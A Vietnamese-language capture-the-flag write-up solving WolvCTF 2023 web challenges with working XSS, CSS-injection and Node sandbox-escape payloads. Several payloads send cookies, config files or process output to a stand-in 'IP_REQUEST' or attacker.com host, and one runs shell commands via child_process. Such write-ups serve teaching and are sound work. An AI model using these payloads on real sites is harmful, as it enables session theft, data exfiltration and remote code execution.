🔰[WolvCTF 2023] Writeup Web
Mở đầu
Trước khi bắt đầu đây là source code dành cho các bạn: link
Zoombie 101

Bài này cho source nhưng mà khá basic, nó dính lỗi XSS:


Payload:
<script>document.location="http://IP_Request?c="+document.cookie</script>
Sau đó submit link cho bot->flag; dùng burp suite để bắt request lấy link submit.

Zoombie 201

Bài này thì mọi thứ giống bài 1 nhưng có điều lúc này cookie được set http only, như trước đây mình học tập có một người anh đã nói với mình là nếu đã set http only thì chỉ có leak nó ra gián tiếp từ một trang các chứ không thể leak ra trực tiếp được.
Chúng ta sẽ vào phân tích những đoạn code:
// useful for debugging cloud deployments
app.get('/debug', function(req, res) {
if (config.allowDebug) {
res.send({"remote-ip": req.socket.remoteAddress, ...req.headers})
}
else {
res.send('sorry, debug endpoint is not enabled')
}
})
Chú ý đoạn code trên có một endpoint debug ở đây nó sẽ kiếm tra biến allowDebug trong config xem cho phép hay không khi đó nếu true thì req.headers (Tất nhiên nó sẽ kèm cả cookie).
Xem xét tiếp file docker-compose:
version: "2.2"
services:
zombie-201:
build:
context: ../zombie-common
dockerfile: ../zombie-common/Dockerfile
args:
configFile: '{"flag": "wctf{redacted}", "httpOnly": true, "allowDebug": true}'
image: zombie-201:1
container_name: zombie-201
init: true
restart: always
ports:
- "80:80"
Yaahh! Ở đây allowDebug: true , vậy mọi việc đơn giản rồi.
Ý tưởng ở đây sẽ khai thác dữ liệu từ một endpoint khác bằng cách exploit từ endpoint có vuln XSS. Có thể hiểu Cross-origin resource sharing.
Từ ý tưởng trên mình sẽ có một đoạn payload JS API, mình sử dụng fetch(Mọi người có thể dùng những thứ khác như Ajax, HML HTTP Request ....)
<script>
fetch('https://zombie-201-tlejfksioa-ul.a.run.app/debug').then(response => {
return response.text();
}).then(data => {
document.location="http://IP_REQUEST?c=".concat(data)
}).catch(err => {
console.log('Error: ', err);
});
</script>
Mình sẽ giải thích chi tiết đoạn payload trên cho ai chưa biết tới JS:
Mình đã đọc qua code thì chắc chắn debug không dính CSP khi đó cách này là khả thi nhất.
Chúng ta sẽ lại lấy link submit cho con bot->flag

Zoombie 301

Bài này giống những bài nhưng những endpoint debug không thể truy cập được.
Vẫn như lời một người anh đã nói với mình muốn đọc được cookie có http only thì hãy xem file nào chứa nó và có thể leak ra hay không.
Trong file index.js có đoạn này
const config = JSON.parse(fs.readFileSync('config.json'))
process.env.FLAG = config.flag
Và file Docker có vị trí rõ cho chúng ta biết vị trí file config.
RUN mkdir -p /ctf/app
WORKDIR /ctf/app
COPY ./package.json ./
COPY ./package-lock.json ./
Vậy là chúng ta có vị trí file chứa flag: /ctf/app/config.json
Payload sẽ như bài 201 nhưng có một cái quan trọng nếu muốn truy cập file từ máy của chính mình thì dùng giao thức file://
<script>
fetch('file:///ctf/app/config.json').then(response => {
return response.text();
}).then(data => {
document.location="http://IP-REQUEST?c=".concat(data)
}).catch(err => {
console.log('Error: ', err);
});
</script>

Yah cũng có một cách khác là sử dụng constructor của JS để return env
Payload:
<script>fetch('http://IP-REQUEST?flag='+this.constructor.constructor('return process.env.FLAG')())</script>
Mình sẽ giải thích qua như này:
this.constructor
là một tham chiếu đến hàm constructor của đối tượng hiện tại.(Dễ hiểu nó là Object)
this.constructor.constructor
là một tham chiếu đến hàm constructor của hàm constructor của đối tượng hiện tại(Dễ hiểu là function của object).Trong đoạn code này,
this.constructor.constructor('return process.env.FLAG')()
được sử dụng để truy cập đến hàm constructor của hàm constructor của đối tượng hiện tại. Sau đó,('return process.env.FLAG')()
được sử dụng để trả về giá trị của biến môi trườngprocess.env.FLAG
.
Có một payload khác là đánh cắp header kèm cookie khi server trả về browser.
<script>
fetch("https://zombie-301-tlejfksioa-ul.a.run.app/")
.then((data) => fetch("https://IP-REQUEST?c=".concat(JSON.stringify(data)), { credentials: 'include' }));
</script>

Zoombie 401
Bài này cũng có thể solve bằng payload của bài 301 truy cập thẳng file config của server chứa flag

Chúng ta sẽ không lấy được flag ở payload 2 vì biến môi trường lúc này không chứa flag.
File config.json sẽ dạng:
{"flag": "find-the-secret-flag" ,"httpOnly": false, "allowDebug": true, "secret-flag": "wctf{redacted}"}
Ở đây chúng ta sẽ nghiên cứu lại một xíu thì Đoạn mã trên sử dụng thư viện zombie
trong Node.js để tạo một trình duyệt không đầu (headless browser).
Chịu khó tìm zoombie.js ở git truy cập vào file CHANGELOG.md để xem các thay đổi thì thấy rằng:
Zombie phiên bản cuối cùng là từ năm 2018, có thể chúng ta sẽ tìm thấy một số 1 day https://github.com/assaf/zombie/blob/master/CHANGELOG.md
Ở đây một lúc research thì chúng ta có một POC có thể đọc file - thực tế nó là vuln của nodeJS nhưng zoombie cũng gặp phải:
const vm = require('vm');
const result = vm.runInNewContext(`
(function() {
var c = 'constructor';
var require = require=this[c][c]('return process')().mainModule.require;
var fs = require('fs');
return String(fs.readFileSync('/home/joshbreckman/Documents/vm.js'));
})()
`);
console.log(result);
Oke nhưng từ dây chúng ta có thể xây dựng một payload khác
Payload này có thể dùng RCE được nếu không biết vị trí chứa flag:
<script>
let process = this.constructor.constructor("return process")();
let data = process.mainModule.require("child_process").execSync("cat config.json").toString();
fetch("IP_REQUEST?data=" + data);
</script>
Chúng ta sẽ giải thích cách hoạt động đoạn payload nay nhé:

Hidden CSS


Bài này chúng ta sẽ gửi một url tới bot. Và chúng ta sẽ xem qua source code của chall này.

Ở đây pritvate-server sẽ chạy ở locale, chúng ta sẽ phân tích code private:
const express = require('express');
const app = express();
const FLAG = 'wctf{redacted}'
// To visit me, please use a URL like http://0/css
// since http://localhost/css will NOT work.
app.get('/css', function(req, res) {
let prefix = '' + req.query.prefix
console.log('visit to /css?prefix='+prefix)
for (c of prefix) {
const charCode = c.charCodeAt(0)
if (charCode < 32 || charCode > 126) {
prefix = 'illegal characters seen'
break
}
}
if (prefix.length > 20) {
prefix = 'your prefix is too long'
}
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('Content-Type', 'text/css');
res.send(prefix + FLAG);
});
const port = 1337;
app.listen(port, async () => {
console.log(`Listening on ${port}`)
})
Ở đây ý tưởng chúng ta sẽ dùng một đoạn css nói ở prefix, nó gọi là CSS Injection
Ý tưởng ở đây chúng ta sẽ bypass tất cả điều kiện của server private và lấy giá trị của biến css.
Payload sẽ như sau:
<html>
<head>
<link rel="stylesheet" type="text/css" href="http://0:1337/css?prefix=p {--flag:" />
</head>
<body>
<p id="payload">CSS Injection</p>
<script>
let flag = getComputedStyle(payload).getPropertyValue('--flag')
fetch("IP-REQUEST?flag="+flag)
</script>
</body>
</html>
Phân tích qua cách thức hoạt động của đoạn payload trên:
Tới đây có nhiều bạn có thể sẽ thắc mắc tại sao nếu dùng p{flag: }
hoặc p{color: }
.... thì không thể truy xuất được giá trị flag
trả về.
Vì, thứ nhất flag
ở trong css nó không có, tiếp theo color
hay background-color
, font-size
... tất cả đều là thuộc tính trong CSS và nó đã có sẵn nên khi bạn gọi tới nó thì nó sẽ trả về giá trị mặc định tại endpoint CSS, thay vào đó bạn phải khai báo một biến ở CSS --ten-bien
lúc này nó sẽ là biến và nó có giá trị rỗng(nhớ kỹ là rỗng là nó không hề có trong endpoint CSS) khi đó chúng ta có thể lấy được flag như đoạn giải thích payload trên.
Exploit
Ban đầy mình chạy thẳng file payload.html lên local sau đó dùng ngrok chạy payload lên internet, nhưng không thể exploit.
Vì: ngrok sử dụng protocol https nhưng local mình dùng http và thẻ link của mình cũng dùng http://0:1337..và ip-request cũng http nên nó chặn script mặc dùng vẫn hiển thị nội dung nhưng script không được thực hiện.
Sau đó mình dùng python deploy lên trực tiếp với địa chỉ là ip máy nhưng server không nhận, sau đó thử build bằng flask cũng không được.
Sau một lúc mình mò ở request-ip mình có mục response và sửa được nên mình đã up payload lên đó và. Lúc này ip-request chứa đoạn payload và nhận response của challenge.

Bây giờ chỉ cần gửi link cho bot và nhận flag:


Adversal

Bài này cho source code, nhưng trước khi tới source code chúng ta sẽ interface có gì.

Ở đây sẽ có một endpoint opt sẽ cho chúng ta một đoạn code và có một biến ad cho chúng ta truyền bất kỳ giá trị nào.

Bây giờ chúng ta sẽ xem qua source code của chall:
const express = require('express');
const puppeteer = require('puppeteer');
const sessions = require('client-sessions');
const randomstring = require("randomstring");
const escape = require('escape-html');
const path = require('path');
const app = express()
const FLAG = process.env.FLAG || 'wctf{redacted}'
const SECRET = process.env.SECRET || 'redacted'
const CHAL_URL = 'http://0:8080'
app.use(express.static(__dirname + '/public'))
app.use(sessions({
cookieName: 'session',
secret: SECRET,
duration: 24 * 60 * 60 * 1000,
activeDuration: 1000 * 60 * 5
}));
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));
// This is the endpoint the admin bot will visit (with your supplied ad as the 'ad' query parameter)
app.get('/otp', (req, res) => {
let defaultAd = `
<img src="imgs/logo.png" /> <br/>
<link rel="stylesheet" href="style/style.css" />
<h3>Get your <a href="https://wolvsec.org/" target="_blank">WolvSec</a> merch!</h3>
`
let ad = req.query.ad || defaultAd;
// Imagine that the OTP gets used somewhere important
// (you will need to exfiltrate it from the admin bot to get the flag)
let otp = randomstring.generate({length: 12, charset: 'alphanumeric'});
res.set("Content-Security-Policy", "script-src 'none'; object-src 'none'; connect-src 'self';");
res.render('otp', {
otp: otp,
ad: ad
});
});
const visitUrl = async (url, cookieDomain) => {
// Chrome generates this error inside our docker container when starting up.
// However, it seems to run ok anyway.
//
// [0105/011035.292928:ERROR:gpu_init.cc(523)] Passthrough is not supported, GL is disabled, ANGLE is
let browser =
await puppeteer.launch({
headless: true,
pipe: true,
dumpio: true,
ignoreHTTPSErrors: true,
// headless chrome in docker is not a picnic
args: [
'--incognito',
'--no-sandbox',
'--disable-gpu',
'--disable-software-rasterizer',
'--disable-dev-shm-usage',
]
})
try {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()
let otp = null;
try {
await page.setUserAgent('puppeteer');
await page.goto(url, { timeout: 20000, waitUntil: 'networkidle2' })
otp = await page.$eval("input", element=> element.getAttribute("value"));
} finally {
await page.close()
await ctx.close()
}
return otp;
}
finally {
browser.close()
}
}
app.get('/visit', async (req, res) => {
const ad = req.query.ad
console.log('received ad: ', ad)
let url = CHAL_URL + '/otp?ad=' + ad;
try {
console.log('visiting url: ', url)
let otp = await visitUrl(url, req.hostname)
if(otp != null) {
req.session.otp = otp;
res.redirect('done.html');
} else {
res.send('Error: evaluator could not find the OTP element on the page')
}
} catch (e) {
console.log('error visiting: ', url, ', ', e.message)
res.send('Error visiting page with your ad: ' + escape(e.message))
} finally {
console.log('done visiting url: ', url)
}
});
app.get('/flag', (req, res) => {
if(req.query.otp && req.session.otp && req.query.otp === req.session.otp) {
res.send(FLAG);
} else {
res.send('Incorrect! <a href="/index.html">Back to home</a>');
}
});
const port = 8080
app.listen(port, async () => {
console.log(`Listening on ${port}`)
})
Chúng ta xem xét đoạn code opt này:
// This is the endpoint the admin bot will visit (with your supplied ad as the 'ad' query parameter)
app.get('/otp', (req, res) => {
let defaultAd = `
<img src="imgs/logo.png" /> <br/>
<link rel="stylesheet" href="style/style.css" />
<h3>Get your <a href="https://wolvsec.org/" target="_blank">WolvSec</a> merch!</h3>
`
let ad = req.query.ad || defaultAd;
// Imagine that the OTP gets used somewhere important
// (you will need to exfiltrate it from the admin bot to get the flag)
let otp = randomstring.generate({length: 12, charset: 'alphanumeric'});
res.set("Content-Security-Policy", "script-src 'none'; object-src 'none'; connect-src 'self';");
res.render('otp', {
otp: otp,
ad: ad
});
});
Endpoint opt này bạn có thể điền thêm giá trị ở biến ad và sau đó render ra opt. Có điều đáng nói ở trên đã được set header CSP nên khi đó chịu, không thể khai thác XSS hoặc Cors, như trên có đoạn cmt chỉ rằng opt là endpoint mà bot visit. À opt ở đây sẽ được random với 12 chữ cái a-zA-Z0-9
Ở đây mình nghĩ có thể dùng cách khai thác CSS Injection:
input[name=otp][value^=Ta]{
background-image: url(https://attacker.com/leak?otp=Ta);
}
input[name=otp][value^=Tb]{
background-image: url(https://attacker.com/leak?otp=Tb);
}
...
Brute-foce 12 ký tự sẽ ra nhưng có điều khá lâu có một bài về kỹ thuật CSS Injection ở giải ctf khác, có thể xem ở đây: link
Nếu có đủ opt của bot khi đó sẽ có flag. Nhưng chúng ta sẽ xem xét tới một vuln khác ở đây:
const visitUrl = async (url, cookieDomain) => {
// Chrome generates this error inside our docker container when starting up.
// However, it seems to run ok anyway.
//
// [0105/011035.292928:ERROR:gpu_init.cc(523)] Passthrough is not supported, GL is disabled, ANGLE is
let browser =
await puppeteer.launch({
headless: true,
pipe: true,
dumpio: true,
ignoreHTTPSErrors: true,
// headless chrome in docker is not a picnic
args: [
'--incognito',
'--no-sandbox',
'--disable-gpu',
'--disable-software-rasterizer',
'--disable-dev-shm-usage',
]
})
try {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()
let otp = null;
try {
await page.setUserAgent('puppeteer');
await page.goto(url, { timeout: 20000, waitUntil: 'networkidle2' })
otp = await page.$eval("input", element=> element.getAttribute("value"));
} finally {
await page.close()
await ctx.close()
}
return otp;
}
finally {
browser.close()
}
}
Đây là một hàm visitUrl, nó tạo một trình duyệt ẩn danh mới và mở một trang web với đường dẫn được cung cấp. Sau đó, nó tìm kiếm phần tử đầu tiên của trang web là một thẻ input và lấy giá trị của thuộc tính “value” của nó. Nếu không tìm thấy phần tử input, giá trị của biến otp sẽ là null. Cuối cùng, nó đóng trang web và trình duyệt ẩn danh và trả về giá trị của biến otp. Nếu có bất kỳ lỗi nào xảy ra trong quá trình này, chúng sẽ được bắt và xử lý trong khối try-catch-finally cuối cùng.
Yaahh nếu bạn đọc đoạn trên cũng hiểu vuln ở đâu rồi chứ nếu chưa thì xem xét kỹ hơn:
let otp = null;
try {
await page.setUserAgent('puppeteer');
await page.goto(url, { timeout: 20000, waitUntil: 'networkidle2' })
otp = await page.$eval("input", element=> element.getAttribute("value"));
} finally {
await page.close()
await ctx.close()
}
return otp
Bạn đọc kỹ phần mình bôi màu nhé. Tiếp xem đến endpoint visit:
app.get('/visit', async (req, res) => {
const ad = req.query.ad
console.log('received ad: ', ad)
let url = CHAL_URL + '/otp?ad=' + ad;
try {
console.log('visiting url: ', url)
//giá trị otp sẽ được lấy khi bạn gửi link cho admin
let otp = await visitUrl(url, req.hostname)
//Nếu k có mã otp thì khi đó otp sẽ được gắn với sesion.otp
if(otp != null) {
req.session.otp = otp;
res.redirect('done.html');
} else {
res.send('Error: evaluator could not find the OTP element on the page')
}
} catch (e) {
console.log('error visiting: ', url, ', ', e.message)
res.send('Error visiting page with your ad: ' + escape(e.message))
} finally {
console.log('done visiting url: ', url)
}
});
Tiếp theo xem endpoint index /

Tổng kết lại:
app.get('/flag', (req, res) => {
if(req.query.otp && req.session.otp && req.query.otp === req.session.otp) {
res.send(FLAG);
} else {
res.send('Incorrect! <a href="/index.html">Back to home</a>');
}
});
Khi đó để có flag thì
Đoạn payload của chúng ta sẽ như này:
import requests
s = requests.Session()
#Sử dụng thẻ meta để chuyển hướng tới index
s.get('https://adversal-tlejfksioa-ul.a.run.app/visit?ad=<meta http-equiv="refresh" content="0; URL=/" />')
#sau đó submit khi đó mã opt
flag = s.get('https://adversal-tlejfksioa-ul.a.run.app/flag?otp=Submit').text
print(flag)

Last updated